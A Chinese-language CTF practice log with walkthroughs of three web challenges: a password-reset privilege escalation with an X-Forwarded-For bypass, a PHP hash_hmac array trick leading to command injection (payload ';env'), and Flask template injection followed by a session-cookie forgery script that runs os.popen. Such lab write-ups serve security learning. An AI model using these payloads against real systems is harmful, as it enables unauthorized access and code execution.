刷题记录(五)
攻防世界-bug
启动环境发现有登陆、注册、找回密码三个功能
随便注册一个用户
登陆以后,点击管理发现后台做了检测,非admin不让用
在初始界面有一个findpwd的链接,发现修改密码的时候会携带用户名,尝试将用户名改成admin看是否存在越权
改成admin,成功修改,再用admin账号进行登陆。访问admin时报了ip不允许,抓包加X-Forwarded-for: 127.0.0.1。
模块与文件相关猜测存在文件上传功能
上传木马,经过测试上传的结果为:
buuctf-blackcat
给了一首歌听,下载mp3文件后,用strings命令进行查看,得到以下源码:
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('
echo exec("nc".$_POST['One-ear']);
后台接收POST参数Black-Cat-Sheriff
,White-cat-monitor
和One-ear
。
hash_hmac($algo,$data,$key)
函数:
当传入的$data
是数组时,该函数返回结果为null,那么可以通过控制One-ear
的值来控制第二次hash_hmac
函数的结果。
用One-ear
参数传递要执行的命令,可以在要执行的命令前加;闭合nc命令。
提前计算出$hh
的值,将其赋值给Black-Cat-Sheriff
。
最后将White-cat-monitor
以数组的形式传递。
payload:
White-cat-monitor[]=0&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env
buuctf-Supercalc 1
启动环境,是一个计算器,可以进行正常的运算操作,当输入0/0的时候有错误回显:
尝试模板注入:0/0{{1+1}}
,页面报错
可以用注释符#进行绕过:0/0#{{1+1}}
请求包里存在session字段,用session_manager进行解密,看里面的内容:
code字段就是服务端python脚本执行的代码。
查看session加密的密钥:0/0{{config}}
拿到session加密密钥以后编写python脚本构造session:
from flask.sessions import SecureCookieSessionInterface
secret_key = "your secret key"
class FakeApp:
secret_key = secret_key
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
{"history": [{"code": '__import__("os").popen("ls").read()'}]}
)
print(cookie)
#eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwibHNcIikucmVhZCgpIn1dfQ.ZO1lyw.ECpyaaSGzONPgKTrr4LgSx5CR9w
再构造session执行cat flag.txt
命令,即可得到flag。